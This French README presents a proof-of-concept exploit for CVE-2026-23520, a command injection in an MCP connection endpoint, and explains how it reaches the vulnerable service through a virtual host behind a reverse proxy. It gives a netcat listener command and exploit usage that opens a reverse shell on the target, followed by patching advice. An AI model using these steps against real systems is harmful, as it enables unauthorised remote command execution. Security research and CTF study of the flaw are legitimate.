
🎓 PoC éducatif pour CVE-2026-23520. Laboratoire d'analyse des vulnérabilités et d'atténuation contrôlée. 🧪
AVERTISSEMENT : Ce dépôt et les scripts qu'il contient sont strictement destinés à des fins éducatives et académiques uniquement.
Les informations fournies ici ont pour but d'aider les chercheurs en sécurité, les administrateurs système et les étudiants à comprendre les mécanismes des vulnérabilités d'injection de commandes et du routage par hôte virtuel dans des environnements de laboratoire contrôlés (tels que les plateformes Capture The Flag).
N'utilisez jamais cet outil contre un système, un réseau ou une infrastructure sans autorisation écrite explicite du propriétaire. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.
Ce dépôt fournit une Preuve de Concept (PoC) pour exploiter CVE-2026-23520 dans le cadre de l'implémentation du Model Context Protocol (MCP) dans certaines piles applicatives (comme Arcane v1.13.0).
La vulnérabilité est une injection de commandes classique. Le point d'accès API (/api/mcp/connect) accepte une charge utile JSON pour configurer une nouvelle connexion serveur. Cette charge utile inclut un objet serverConfig contenant les champs command et args.
Comme l'application ne parvient pas à assainir correctement ces champs avant de les exécuter sur le système d'exploitation hôte, un attaquant peut fournir des commandes bash malveillantes (telles qu'un reverse shell) à la place d'un chemin de service légitime.
Dans de nombreux déploiements réels ou CTF, envoyer simplement l'exploit à l'adresse IP principale entraînera une erreur 404 Not Found. Cela se produit car le composant vulnérable (par exemple, MCPJam Inspector) est hébergé derrière un proxy inverse (comme Nginx) qui achemine le trafic en fonction de l'en-tête Host.
Ce PoC se distingue des exploits standard en permettant explicitement à l'utilisateur de spécifier l'hôte virtuel (vhost) pour contourner les règles de routage du proxy et atteindre directement l'application vulnérable.
Ce script nécessite Python 3 et la bibliothèque requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
Remarque : Une erreur « Read timed out » est attendue et indique que le reverse shell a été exécuté avec succès et maintient la connexion ouverte.
Les administrateurs doivent s'assurer d'exécuter la dernière version corrigée du logiciel. Si le correctif n'est pas immédiatement possible, restreignez l'accès au point d'accès /api/mcp/connect et appliquez une validation stricte des entrées sur tous les paramètres serverConfig.